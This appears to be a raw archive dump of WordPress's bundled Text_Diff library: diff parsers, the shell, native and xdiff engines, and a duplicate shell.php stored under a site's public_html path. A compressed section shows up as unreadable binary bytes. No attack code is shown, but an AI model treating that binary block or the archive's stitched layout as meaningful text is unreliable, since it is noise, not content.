        $end = count($diff) - 1;
        for ($i = 0; $i < $end;) {
            $diff1 = array();
            switch (substr($diff[$i], 0, 1)) {
            case ' ':
                do {
                    $diff1[] = substr($diff[$i], 1);
                } while (++$i < $end && substr($diff[$i], 0, 1) == ' ');
                $edits[] = new Text_Diff_Op_copy($diff1);
                break;

            case '+':
                // get all new lines
                do {
                    $diff1[] = substr($diff[$i], 1);
                } while (++$i < $end && substr($diff[$i], 0, 1) == '+');
                $edits[] = new Text_Diff_Op_add($diff1);
                break;

            case '-':
                // get changed or removed lines
                $diff2 = array();
                do {
                    $diff1[] = substr($diff[$i], 1);
                } while (++$i < $end && substr($diff[$i], 0, 1) == '-');

                while ($i < $end && substr($diff[$i], 0, 1) == '+') {
                    $diff2[] = substr($diff[$i++], 1);
                }
                if (count($diff2) == 0) {
                    $edits[] = new Text_Diff_Op_delete($diff1);
                } else {
                    $edits[] = new Text_Diff_Op_change($diff1, $diff2);
                }
                break;

            default:
                $i++;
                break;
            }
        }

        return $edits;
    }

    /**
     * Parses an array containing the context diff.
     *
     * @param array $diff  Array of lines.
     *
     * @return array  List of all diff operations.
     */
    function parseContextDiff(&$diff)
    {
        $edits = array();
        $i = $max_i = $j = $max_j = 0;
        $end = count($diff) - 1;
        while ($i < $end && $j < $end) {
            while ($i >= $max_i && $j >= $max_j) {
                // Find the boundaries of the diff output of the two files
                for ($i = $j;
                     $i < $end && substr($diff[$i], 0, 3) == '***';
                     $i++);
                for ($max_i = $i;
                     $max_i < $end && substr($diff[$max_i], 0, 3) != '---';
                     $max_i++);
                for ($j = $max_i;
                     $j < $end && substr($diff[$j], 0, 3) == '---';
                     $j++);
                for ($max_j = $j;
                     $max_j < $end && substr($diff[$max_j], 0, 3) != '***';
                     $max_j++);
            }

            // find what hasn't been changed
            $array = array();
            while ($i < $max_i &&
                   $j < $max_j &&
                   strcmp($diff[$i], $diff[$j]) == 0) {
                $array[] = substr($diff[$i], 2);
                $i++;
                $j++;
            }

            while ($i < $max_i && ($max_j-$j) <= 1) {
                if ($diff[$i] != '' && substr($diff[$i], 0, 1) != ' ') {
                    break;
                }
                $array[] = substr($diff[$i++], 2);
            }

            while ($j < $max_j && ($max_i-$i) <= 1) {
                if ($diff[$j] != '' && substr($diff[$j], 0, 1) != ' ') {
                    break;
                }
                $array[] = substr($diff[$j++], 2);
            }
            if (count($array) > 0) {
                $edits[] = new Text_Diff_Op_copy($array);
            }

            if ($i < $max_i) {
                $diff1 = array();
                switch (substr($diff[$i], 0, 1)) {
                case '!':
                    $diff2 = array();
                    do {
                        $diff1[] = substr($diff[$i], 2);
                        if ($j < $max_j && substr($diff[$j], 0, 1) == '!') {
                            $diff2[] = substr($diff[$j++], 2);
                        }
                    } while (++$i < $max_i && substr($diff[$i], 0, 1) == '!');
                    $edits[] = new Text_Diff_Op_change($diff1, $diff2);
                    break;

                case '+':
                    do {
                        $diff1[] = substr($diff[$i], 2);
                    } while (++$i < $max_i && substr($diff[$i], 0, 1) == '+');
                    $edits[] = new Text_Diff_Op_add($diff1);
                    break;

                case '-':
                    do {
                        $diff1[] = substr($diff[$i], 2);
                    } while (++$i < $max_i && substr($diff[$i], 0, 1) == '-');
                    $edits[] = new Text_Diff_Op_delete($diff1);
                    break;
                }
            }

            if ($j < $max_j) {
                $diff2 = array();
                switch (substr($diff[$j], 0, 1)) {
                case '+':
                    do {
                        $diff2[] = substr($diff[$j++], 2);
                    } while ($j < $max_j && substr($diff[$j], 0, 1) == '+');
                    $edits[] = new Text_Diff_Op_add($diff2);
                    break;

                case '-':
                    do {
                        $diff2[] = substr($diff[$j++], 2);
                    } while ($j < $max_j && substr($diff[$j], 0, 1) == '-');
                    $edits[] = new Text_Diff_Op_delete($diff2);
                    break;
                }
            }
        }

        return $edits;
    }

}
                                                                                                                                                                                                                                                                                                                                                                     Engine/shell.php                                                                                    0000644                 00000012123 15217306007 0007571 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * Class used internally by Diff to actually compute the diffs.
 *
 * This class uses the Unix `diff` program via shell_exec to compute the
 * differences between the two input arrays.
 *
 * Copyright 2007-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Milian Wolff <mail@milianw.de>
 * @package Text_Diff
 * @since   0.3.0
 */
class Text_Diff_Engine_shell {

    /**
     * Path to the diff executable
     *
     * @var string
     */
    var $_diffCommand = 'diff';

    /**
     * Returns the array of differences.
     *
     * @param array $from_lines lines of text from old file
     * @param array $to_lines   lines of text from new file
     *
     * @return array all changes made (array with Text_Diff_Op_* objects)
     */
    function diff($from_lines, $to_lines)
    {
        array_walk($from_lines, array('Text_Diff', 'trimNewlines'));
        array_walk($to_lines, array('Text_Diff', 'trimNewlines'));

        $temp_dir = Text_Diff::_getTempDir();

        // Execute gnu diff or similar to get a standard diff file.
        $from_file = tempnam($temp_dir, 'Text_Diff');
        $to_file = tempnam($temp_dir, 'Text_Diff');
        $fp = fopen($from_file, 'w');
        fwrite($fp, implode("\n", $from_lines));
        fclose($fp);
        $fp = fopen($to_file, 'w');
        fwrite($fp, implode("\n", $to_lines));
        fclose($fp);
        $diff = shell_exec($this->_diffCommand . ' ' . $from_file . ' ' . $to_file);
        unlink($from_file);
        unlink($to_file);

        if (is_null($diff)) {
            // No changes were made
            return array(new Text_Diff_Op_copy($from_lines));
        }

        $from_line_no = 1;
        $to_line_no = 1;
        $edits = array();

        // Get changed lines by parsing something like:
        // 0a1,2
        // 1,2c4,6
        // 1,5d6
        preg_match_all('#^(\d+)(?:,(\d+))?([adc])(\d+)(?:,(\d+))?$#m', $diff,
            $matches, PREG_SET_ORDER);

        foreach ($matches as $match) {
            if (!isset($match[5])) {
                // This paren is not set every time (see regex).
                $match[5] = false;
            }

            if ($match[3] == 'a') {
                $from_line_no--;
            }

            if ($match[3] == 'd') {
                $to_line_no--;
            }

            if ($from_line_no < $match[1] || $to_line_no < $match[4]) {
                // copied lines
                assert($match[1] - $from_line_no == $match[4] - $to_line_no);
                array_push($edits,
                    new Text_Diff_Op_copy(
                        $this->_getLines($from_lines, $from_line_no, $match[1] - 1),
                        $this->_getLines($to_lines, $to_line_no, $match[4] - 1)));
            }

            switch ($match[3]) {
            case 'd':
                // deleted lines
                array_push($edits,
                    new Text_Diff_Op_delete(
                        $this->_getLines($from_lines, $from_line_no, $match[2])));
                $to_line_no++;
                break;

            case 'c':
                // changed lines
                array_push($edits,
                    new Text_Diff_Op_change(
                        $this->_getLines($from_lines, $from_line_no, $match[2]),
                        $this->_getLines($to_lines, $to_line_no, $match[5])));
                break;

            case 'a':
                // added lines
                array_push($edits,
                    new Text_Diff_Op_add(
                        $this->_getLines($to_lines, $to_line_no, $match[5])));
                $from_line_no++;
                break;
            }
        }

        if (!empty($from_lines)) {
            // Some lines might still be pending. Add them as copied
            array_push($edits,
                new Text_Diff_Op_copy(
                    $this->_getLines($from_lines, $from_line_no,
                                     $from_line_no + count($from_lines) - 1),
                    $this->_getLines($to_lines, $to_line_no,
                                     $to_line_no + count($to_lines) - 1)));
        }

        return $edits;
    }

    /**
     * Get lines from either the old or new text
     *
     * @access private
     *
     * @param array $text_lines Either $from_lines or $to_lines (passed by reference).
     * @param int   $line_no    Current line number (passed by reference).
     * @param int   $end        Optional end line, when we want to chop more
     *                          than one line.
     *
     * @return array The chopped lines
     */
    function _getLines(&$text_lines, &$line_no, $end = false)
    {
        if (!empty($end)) {
            $lines = array();
            // We can shift even more
            while ($line_no <= $end) {
                array_push($lines, array_shift($text_lines));
                $line_no++;
            }
        } else {
            $lines = array(array_shift($text_lines));
            $line_no++;
        }

        return $lines;
    }

}
                                                                                                                                                                                                                                                                                                                                                                                                                                             Engine/native.php                                                                                   0000644                 00000037261 15217306007 0007762 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * Class used internally by Text_Diff to actually compute the diffs.
 *
 * This class is implemented using native PHP code.
 *
 * The algorithm used here is mostly lifted from the perl module
 * Algorithm::Diff (version 1.06) by Ned Konz, which is available at:
 * https://cpan.metacpan.org/authors/id/N/NE/NEDKONZ/Algorithm-Diff-1.06.zip
 *
 * More ideas are taken from: http://www.ics.uci.edu/~eppstein/161/960229.html
 *
 * Some ideas (and a bit of code) are taken from analyze.c, of GNU
 * diffutils-2.7, which can be found at:
 * ftp://gnudist.gnu.org/pub/gnu/diffutils/diffutils-2.7.tar.gz
 *
 * Some ideas (subdivision by NCHUNKS > 2, and some optimizations) are from
 * Geoffrey T. Dairiki <dairiki@dairiki.org>. The original PHP version of this
 * code was written by him, and is used/adapted with his permission.
 *
 * Copyright 2004-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Geoffrey T. Dairiki <dairiki@dairiki.org>
 * @package Text_Diff
 */
class Text_Diff_Engine_native {

    public $xchanged;
    public $ychanged;
    public $xv;
    public $yv;
    public $xind;
    public $yind;
    public $seq;
    public $in_seq;
    public $lcs;

    function diff($from_lines, $to_lines)
    {
        array_walk($from_lines, array('Text_Diff', 'trimNewlines'));
        array_walk($to_lines, array('Text_Diff', 'trimNewlines'));

        $n_from = count($from_lines);
        $n_to = count($to_lines);

        $this->xchanged = $this->ychanged = array();
        $this->xv = $this->yv = array();
        $this->xind = $this->yind = array();
        unset($this->seq);
        unset($this->in_seq);
        unset($this->lcs);

        // Skip leading common lines.
        for ($skip = 0; $skip < $n_from && $skip < $n_to; $skip++) {
            if ($from_lines[$skip] !== $to_lines[$skip]) {
                break;
            }
            $this->xchanged[$skip] = $this->ychanged[$skip] = false;
        }

        // Skip trailing common lines.
        $xi = $n_from; $yi = $n_to;
        for ($endskip = 0; --$xi > $skip && --$yi > $skip; $endskip++) {
            if ($from_lines[$xi] !== $to_lines[$yi]) {
                break;
            }
            $this->xchanged[$xi] = $this->ychanged[$yi] = false;
        }

        // Ignore lines which do not exist in both files.
        for ($xi = $skip; $xi < $n_from - $endskip; $xi++) {
            $xhash[$from_lines[$xi]] = 1;
        }
        for ($yi = $skip; $yi < $n_to - $endskip; $yi++) {
            $line = $to_lines[$yi];
            if (($this->ychanged[$yi] = empty($xhash[$line]))) {
                continue;
            }
            $yhash[$line] = 1;
            $this->yv[] = $line;
            $this->yind[] = $yi;
        }
        for ($xi = $skip; $xi < $n_from - $endskip; $xi++) {
            $line = $from_lines[$xi];
            if (($this->xchanged[$xi] = empty($yhash[$line]))) {
                continue;
            }
            $this->xv[] = $line;
            $this->xind[] = $xi;
        }

        // Find the LCS.
        $this->_compareseq(0, count($this->xv), 0, count($this->yv));

        // Merge edits when possible.
        $this->_shiftBoundaries($from_lines, $this->xchanged, $this->ychanged);
        $this->_shiftBoundaries($to_lines, $this->ychanged, $this->xchanged);

        // Compute the edit operations.
        $edits = array();
        $xi = $yi = 0;
        while ($xi < $n_from || $yi < $n_to) {
            assert($yi < $n_to || $this->xchanged[$xi]);
            assert($xi < $n_from || $this->ychanged[$yi]);

            // Skip matching "snake".
            $copy = array();
            while ($xi < $n_from && $yi < $n_to
                   && !$this->xchanged[$xi] && !$this->ychanged[$yi]) {
                $copy[] = $from_lines[$xi++];
                ++$yi;
            }
            if ($copy) {
                $edits[] = new Text_Diff_Op_copy($copy);
            }

            // Find deletes & adds.
            $delete = array();
            while ($xi < $n_from && $this->xchanged[$xi]) {
                $delete[] = $from_lines[$xi++];
            }

            $add = array();
            while ($yi < $n_to && $this->ychanged[$yi]) {
                $add[] = $to_lines[$yi++];
            }

            if ($delete && $add) {
                $edits[] = new Text_Diff_Op_change($delete, $add);
            } elseif ($delete) {
                $edits[] = new Text_Diff_Op_delete($delete);
            } elseif ($add) {
                $edits[] = new Text_Diff_Op_add($add);
            }
        }

        return $edits;
    }

    /**
     * Divides the Largest Common Subsequence (LCS) of the sequences (XOFF,
     * XLIM) and (YOFF, YLIM) into NCHUNKS approximately equally sized
     * segments.
     *
     * Returns (LCS, PTS).  LCS is the length of the LCS. PTS is an array of
     * NCHUNKS+1 (X, Y) indexes giving the diving points between sub
     * sequences.  The first sub-sequence is contained in (X0, X1), (Y0, Y1),
     * the second in (X1, X2), (Y1, Y2) and so on.  Note that (X0, Y0) ==
     * (XOFF, YOFF) and (X[NCHUNKS], Y[NCHUNKS]) == (XLIM, YLIM).
     *
     * This function assumes that the first lines of the specified portions of
     * the two files do not match, and likewise that the last lines do not
     * match.  The caller must trim matching lines from the beginning and end
     * of the portions it is going to specify.
     */
    function _diag ($xoff, $xlim, $yoff, $ylim, $nchunks)
    {
        $flip = false;

        if ($xlim - $xoff > $ylim - $yoff) {
            /* Things seems faster (I'm not sure I understand why) when the
             * shortest sequence is in X. */
            $flip = true;
            list ($xoff, $xlim, $yoff, $ylim)
                = array($yoff, $ylim, $xoff, $xlim);
        }

        if ($flip) {
            for ($i = $ylim - 1; $i >= $yoff; $i--) {
                $ymatches[$this->xv[$i]][] = $i;
            }
        } else {
            for ($i = $ylim - 1; $i >= $yoff; $i--) {
                $ymatches[$this->yv[$i]][] = $i;
            }
        }

        $this->lcs = 0;
        $this->seq[0]= $yoff - 1;
        $this->in_seq = array();
        $ymids[0] = array();

        $numer = $xlim - $xoff + $nchunks - 1;
        $x = $xoff;
        for ($chunk = 0; $chunk < $nchunks; $chunk++) {
            if ($chunk > 0) {
                for ($i = 0; $i <= $this->lcs; $i++) {
                    $ymids[$i][$chunk - 1] = $this->seq[$i];
                }
            }

            $x1 = $xoff + (int)(($numer + ($xlim - $xoff) * $chunk) / $nchunks);
            for (; $x < $x1; $x++) {
                $line = $flip ? $this->yv[$x] : $this->xv[$x];
                if (empty($ymatches[$line])) {
                    continue;
                }
                $matches = $ymatches[$line];
                reset($matches);
                while ($y = current($matches)) {
                    if (empty($this->in_seq[$y])) {
                        $k = $this->_lcsPos($y);
                        assert($k > 0);
                        $ymids[$k] = $ymids[$k - 1];
                        break;
                    }
                    next($matches);
                }
                while ($y = current($matches)) {
                    if ($y > $this->seq[$k - 1]) {
                        assert($y <= $this->seq[$k]);
                        /* Optimization: this is a common case: next match is
                         * just replacing previous match. */
                        $this->in_seq[$this->seq[$k]] = false;
                        $this->seq[$k] = $y;
                        $this->in_seq[$y] = 1;
                    } elseif (empty($this->in_seq[$y])) {
                        $k = $this->_lcsPos($y);
                        assert($k > 0);
                        $ymids[$k] = $ymids[$k - 1];
                    }
                    next($matches);
                }
            }
        }

        $seps[] = $flip ? array($yoff, $xoff) : array($xoff, $yoff);
        $ymid = $ymids[$this->lcs];
        for ($n = 0; $n < $nchunks - 1; $n++) {
            $x1 = $xoff + (int)(($numer + ($xlim - $xoff) * $n) / $nchunks);
            $y1 = $ymid[$n] + 1;
            $seps[] = $flip ? array($y1, $x1) : array($x1, $y1);
        }
        $seps[] = $flip ? array($ylim, $xlim) : array($xlim, $ylim);

        return array($this->lcs, $seps);
    }

    function _lcsPos($ypos)
    {
        $end = $this->lcs;
        if ($end == 0 || $ypos > $this->seq[$end]) {
            $this->seq[++$this->lcs] = $ypos;
            $this->in_seq[$ypos] = 1;
            return $this->lcs;
        }

        $beg = 1;
        while ($beg < $end) {
            $mid = (int)(($beg + $end) / 2);
            if ($ypos > $this->seq[$mid]) {
                $beg = $mid + 1;
            } else {
                $end = $mid;
            }
        }

        assert($ypos != $this->seq[$end]);

        $this->in_seq[$this->seq[$end]] = false;
        $this->seq[$end] = $ypos;
        $this->in_seq[$ypos] = 1;
        return $end;
    }

    /**
     * Finds LCS of two sequences.
     *
     * The results are recorded in the vectors $this->{x,y}changed[], by
     * storing a 1 in the element for each line that is an insertion or
     * deletion (ie. is not in the LCS).
     *
     * The subsequence of file 0 is (XOFF, XLIM) and likewise for file 1.
     *
     * Note that XLIM, YLIM are exclusive bounds.  All line numbers are
     * origin-0 and discarded lines are not counted.
     */
    function _compareseq ($xoff, $xlim, $yoff, $ylim)
    {
        /* Slide down the bottom initial diagonal. */
        while ($xoff < $xlim && $yoff < $ylim
               && $this->xv[$xoff] == $this->yv[$yoff]) {
            ++$xoff;
            ++$yoff;
        }

        /* Slide up the top initial diagonal. */
        while ($xlim > $xoff && $ylim > $yoff
               && $this->xv[$xlim - 1] == $this->yv[$ylim - 1]) {
            --$xlim;
            --$ylim;
        }

        if ($xoff == $xlim || $yoff == $ylim) {
            $lcs = 0;
        } else {
            /* This is ad hoc but seems to work well.  $nchunks =
             * sqrt(min($xlim - $xoff, $ylim - $yoff) / 2.5); $nchunks =
             * max(2,min(8,(int)$nchunks)); */
            $nchunks = min(7, $xlim - $xoff, $ylim - $yoff) + 1;
            list($lcs, $seps)
                = $this->_diag($xoff, $xlim, $yoff, $ylim, $nchunks);
        }

        if ($lcs == 0) {
            /* X and Y sequences have no common subsequence: mark all
             * changed. */
            while ($yoff < $ylim) {
                $this->ychanged[$this->yind[$yoff++]] = 1;
            }
            while ($xoff < $xlim) {
                $this->xchanged[$this->xind[$xoff++]] = 1;
            }
        } else {
            /* Use the partitions to split this problem into subproblems. */
            reset($seps);
            $pt1 = $seps[0];
            while ($pt2 = next($seps)) {
                $this->_compareseq ($pt1[0], $pt2[0], $pt1[1], $pt2[1]);
                $pt1 = $pt2;
            }
        }
    }

    /**
     * Adjusts inserts/deletes of identical lines to join changes as much as
     * possible.
     *
     * We do something when a run of changed lines include a line at one end
     * and has an excluded, identical line at the other.  We are free to
     * choose which identical line is included.  `compareseq' usually chooses
     * the one at the beginning, but usually it is cleaner to consider the
     * following identical line to be the "change".
     *
     * This is extracted verbatim from analyze.c (GNU diffutils-2.7).
     */
    function _shiftBoundaries($lines, &$changed, $other_changed)
    {
        $i = 0;
        $j = 0;

        assert(count($lines) == count($changed));
        $len = count($lines);
        $other_len = count($other_changed);

        while (1) {
            /* Scan forward to find the beginning of another run of
             * changes. Also keep track of the corresponding point in the
             * other file.
             *
             * Throughout this code, $i and $j are adjusted together so that
             * the first $i elements of $changed and the first $j elements of
             * $other_changed both contain the same number of zeros (unchanged
             * lines).
             *
             * Furthermore, $j is always kept so that $j == $other_len or
             * $other_changed[$j] == false. */
            while ($j < $other_len && $other_changed[$j]) {
                $j++;
            }

            while ($i < $len && ! $changed[$i]) {
                assert($j < $other_len && ! $other_changed[$j]);
                $i++; $j++;
                while ($j < $other_len && $other_changed[$j]) {
                    $j++;
                }
            }

            if ($i == $len) {
                break;
            }

            $start = $i;

            /* Find the end of this run of changes. */
            while (++$i < $len && $changed[$i]) {
                continue;
            }

            do {
                /* Record the length of this run of changes, so that we can
                 * later determine whether the run has grown. */
                $runlength = $i - $start;

                /* Move the changed region back, so long as the previous
                 * unchanged line matches the last changed one.  This merges
                 * with previous changed regions. */
                while ($start > 0 && $lines[$start - 1] == $lines[$i - 1]) {
                    $changed[--$start] = 1;
                    $changed[--$i] = false;
                    while ($start > 0 && $changed[$start - 1]) {
                        $start--;
                    }
                    assert($j > 0);
                    while ($other_changed[--$j]) {
                        continue;
                    }
                    assert($j >= 0 && !$other_changed[$j]);
                }

                /* Set CORRESPONDING to the end of the changed run, at the
                 * last point where it corresponds to a changed run in the
                 * other file. CORRESPONDING == LEN means no such point has
                 * been found. */
                $corresponding = $j < $other_len ? $i : $len;

                /* Move the changed region forward, so long as the first
                 * changed line matches the following unchanged one.  This
                 * merges with following changed regions.  Do this second, so
                 * that if there are no merges, the changed region is moved
                 * forward as far as possible. */
                while ($i < $len && $lines[$start] == $lines[$i]) {
                    $changed[$start++] = false;
                    $changed[$i++] = 1;
                    while ($i < $len && $changed[$i]) {
                        $i++;
                    }

                    assert($j < $other_len && ! $other_changed[$j]);
                    $j++;
                    if ($j < $other_len && $other_changed[$j]) {
                        $corresponding = $i;
                        while ($j < $other_len && $other_changed[$j]) {
                            $j++;
                        }
                    }
                }
            } while ($runlength != $i - $start);

            /* If possible, move the fully-merged run of changes back to a
             * corresponding run in the other file. */
            while ($corresponding < $i) {
                $changed[--$start] = 1;
                $changed[--$i] = 0;
                assert($j > 0);
                while ($other_changed[--$j]) {
                    continue;
                }
                assert($j >= 0 && !$other_changed[$j]);
            }
        }
    }

}
                                                                                                                                                                                                                                                                                                                                               Engine/xdiff.php                                                                                    0000644                 00000004233 15217306007 0007565 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * Class used internally by Diff to actually compute the diffs.
 *
 * This class uses the xdiff PECL package (http://pecl.php.net/package/xdiff)
 * to compute the differences between the two input arrays.
 *
 * Copyright 2004-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Jon Parise <jon@horde.org>
 * @package Text_Diff
 */
class Text_Diff_Engine_xdiff {

    /**
     */
    function diff($from_lines, $to_lines)
    {
        array_walk($from_lines, array('Text_Diff', 'trimNewlines'));
        array_walk($to_lines, array('Text_Diff', 'trimNewlines'));

        /* Convert the two input arrays into strings for xdiff processing. */
        $from_string = implode("\n", $from_lines);
        $to_string = implode("\n", $to_lines);

        /* Diff the two strings and convert the result to an array. */
        $diff = xdiff_string_diff($from_string, $to_string, count($to_lines));
        $diff = explode("\n", $diff);

        /* Walk through the diff one line at a time.  We build the $edits
         * array of diff operations by reading the first character of the
         * xdiff output (which is in the "unified diff" format).
         *
         * Note that we don't have enough information to detect "changed"
         * lines using this approach, so we can't add Text_Diff_Op_changed
         * instances to the $edits array.  The result is still perfectly
         * valid, albeit a little less descriptive and efficient. */
        $edits = array();
        foreach ($diff as $line) {
            if (!strlen($line)) {
                continue;
            }
            switch ($line[0]) {
            case ' ':
                $edits[] = new Text_Diff_Op_copy(array(substr($line, 1)));
                break;

            case '+':
                $edits[] = new Text_Diff_Op_add(array(substr($line, 1)));
                break;

            case '-':
                $edits[] = new Text_Diff_Op_delete(array(substr($line, 1)));
                break;
            }
        }

        return $edits;
    }

}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     PK     j\:        shell.php.tarnu [        home/laratrends/public_html/wp-includes/Text/Diff/Engine/shell.php                                  0000644                 00000012123 15217306031 0021205 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * Class used internally by Diff to actually compute the diffs.
 *
 * This class uses the Unix `diff` program via shell_exec to compute the
 * differences between the two input arrays.
 *
 * Copyright 2007-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Milian Wolff <mail@milianw.de>
 * @package Text_Diff
 * @since   0.3.0
 */
class Text_Diff_Engine_shell {

    /**
     * Path to the diff executable
     *
     * @var string
     */
    var $_diffCommand = 'diff';

    /**
     * Returns the array of differences.
     *
     * @param array $from_lines lines of text from old file
     * @param array $to_lines   lines of text from new file
     *
     * @return array all changes made (array with Text_Diff_Op_* objects)
     */
    function diff($from_lines, $to_lines)
    {
        array_walk($from_lines, array('Text_Diff', 'trimNewlines'));
        array_walk($to_lines, array('Text_Diff', 'trimNewlines'));

        $temp_dir = Text_Diff::_getTempDir();

        // Execute gnu diff or similar to get a standard diff file.
        $from_file = tempnam($temp_dir, 'Text_Diff');
        $to_file = tempnam($temp_dir, 'Text_Diff');
        $fp = fopen($from_file, 'w');
        fwrite($fp, implode("\n", $from_lines));
        fclose($fp);
        $fp = fopen($to_file, 'w');
        fwrite($fp, implode("\n", $to_lines));
        fclose($fp);
        $diff = shell_exec($this->_diffCommand . ' ' . $from_file . ' ' . $to_file);
        unlink($from_file);
        unlink($to_file);

        if (is_null($diff)) {
            // No changes were made
            return array(new Text_Diff_Op_copy($from_lines));
        }

        $from_line_no = 1;
        $to_line_no = 1;
        $edits = array();

        // Get changed lines by parsing something like:
        // 0a1,2
        // 1,2c4,6
        // 1,5d6
        preg_match_all('#^(\d+)(?:,(\d+))?([adc])(\d+)(?:,(\d+))?$#m', $diff,
            $matches, PREG_SET_ORDER);

        foreach ($matches as $match) {
            if (!isset($match[5])) {
                // This paren is not set every time (see regex).
                $match[5] = false;
            }

            if ($match[3] == 'a') {
                $from_line_no--;
            }

            if ($match[3] == 'd') {
                $to_line_no--;
            }

            if ($from_line_no < $match[1] || $to_line_no < $match[4]) {
                // copied lines
                assert($match[1] - $from_line_no == $match[4] - $to_line_no);
                array_push($edits,
                    new Text_Diff_Op_copy(
                        $this->_getLines($from_lines, $from_line_no, $match[1] - 1),
                        $this->_getLines($to_lines, $to_line_no, $match[4] - 1)));
            }

            switch ($match[3]) {
            case 'd':
                // deleted lines
                array_push($edits,
                    new Text_Diff_Op_delete(
                        $this->_getLines($from_lines, $from_line_no, $match[2])));
                $to_line_no++;
                break;

            case 'c':
                // changed lines
                array_push($edits,
                    new Text_Diff_Op_change(
                        $this->_getLines($from_lines, $from_line_no, $match[2]),
                        $this->_getLines($to_lines, $to_line_no, $match[5])));
                break;

            case 'a':
                // added lines
                array_push($edits,
                    new Text_Diff_Op_add(
                        $this->_getLines($to_lines, $to_line_no, $match[5])));
                $from_line_no++;
                break;
            }
        }

        if (!empty($from_lines)) {
            // Some lines might still be pending. Add them as copied
            array_push($edits,
                new Text_Diff_Op_copy(
                    $this->_getLines($from_lines, $from_line_no,
                                     $from_line_no + count($from_lines) - 1),
                    $this->_getLines($to_lines, $to_line_no,
                                     $to_line_no + count($to_lines) - 1)));
        }

        return $edits;
    }

    /**
     * Get lines from either the old or new text
     *
     * @access private
     *
     * @param array $text_lines Either $from_lines or $to_lines (passed by reference).
     * @param int   $line_no    Current line number (passed by reference).
     * @param int   $end        Optional end line, when we want to chop more
     *                          than one line.
     *
     * @return array The chopped lines
     */
    function _getLines(&$text_lines, &$line_no, $end = false)
    {
        if (!empty($end)) {
            $lines = array();
            // We can shift even more
            while ($line_no <= $end) {
                array_push($lines, array_shift($text_lines));
                $line_no++;
            }
        } else {
            $lines = array(array_shift($text_lines));
            $line_no++;
        }

        return $lines;
    }

}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             PK     j\P  P    Diff.php.php.tar.gznu [              Zyo8OfZn}%4im)m6b13h9%-E{-9LPԶH>.2h.W\+0^3=˸/C/X"s=|-'A<3ɣGGݧOxw鏣O'Oww\Y$+.g6VB<~&bSe8e<՜kgz& x"acBHL/#-@4aV4 Hɩa㟎ٙPBg2a^	[*xF+v2`TT"g~"5=@h}k᳥3c2S^E
i;=jګyhgD)XE	O3gu7.Gpk,)4D3@W[2dhlr޿=~w`ifJxB	M<$Dh<Å=qSwʧap1[ ^$d y^*Woé@@:+q}3O|
_dFU4`hpkQv1ǹe"
 a!u@KQ',e0Fx !"у
CM?CnĨh7XrC

M?ܛ'E2ĭ 6$'@J&,B 4𴓪ڥl_%W>l8AcHbHr-B͖ܓkXn >fFbEw<Z<Y:άmQ}A};s#xW:!{&;2@h#;'荼RsdTe Rw\;P}0<"dXˆ&Pnaaa>f2biI8mtC`:\k,iY cتuAE6 䐡)rf4!=[͍/0I
+ŝBCUQDL֪u½] CbM`g0NPS-G4ꁫ{Tx& 0F9 b,,ʎmVuOaܡ^cT知%urZ *?'X-9e--Qh3FxRrGgwetu}mE6\ޮ(j&*7Y@쥿a}hinV;n3̇`:-ڍ|ٰH
B%hLtZPȐ(*z$k4Hvo4\`BPoCGaGS\6O	Th8Iޡj35(f3U@-Keû鬳ہȳ2ct֤8w8^H&vEr?2b5yLjNjhfi(`'j!Pv	gGcCb=5]#*ݻ @^tHD(TCmGدi2?/ƩI}[	GgAOC	zCVI!^}nD5xy٢,1|ݎ6+} fBeq/UDJdY}kRvUB
}en6S˧=,mwthW5xy1}Yn{n!{xǮiH$֔QG_ՊW2ޛ;3d>QfP\X@T: jx(860XeJ.8K:Z9"&FC)W0MNfi@Pg= 'lDUn}냕׹OhF4 m*0~	zlL6uFlIyR+IJq¼_=H0
DOgzU4T)"l9 b*kBJn3{%k9ja\)v8U8$&q
=fYX)XM;wr
)ǝ5
*d({|ĄR
%S=S2K=#K֧< xkoXGV8iTfexc5|Iީjm'y=:j]ESUL犋 Y2ʈ;0f:QptHiM	]#$_<jMZU!1vS#FV:g/
oJ<O-?~_7(]^"^1BCz=aS(x"`:<ǃvscԬ,9Sȗн@WW7&Zҵ)pR85InҎNf"ٌ\[|"s藍4
y&.fo<ƹ45{Z4GUCfmNFftKܿ5^-j5"f,DiVp5B*_my6T;BÅzopy!O3JN />J>aKޖ&sEMhك%j#<Yd׉Ec[dfQh"YLW(LJ$MS4G& ̪(eZkaZ\4ޖVjRO&ϸT91QUYH*^d$23/hof;2ke7J{iPR%;i<$)50gEwȳ^Y]q˔R-갗{;g$;%(jd4pQ0emZnkեK8ЀɋeRK \^-@Ѯ2d
)\2FʜV}{8t!(˝}@&֓՚Pqم䭱wypqWoe 6  PK     j\1 "   "    Renderer.php.tarnu [        home/laratrends/public_html/wp-includes/Text/Diff/Renderer.php                                      0000644                 00000015226 15217301655 0020455 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * A class to render Diffs in different formats.
 *
 * This class renders the diff in classic diff format. It is intended that
 * this class be customized via inheritance, to obtain fancier outputs.
 *
 * Copyright 2004-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @package Text_Diff
 */
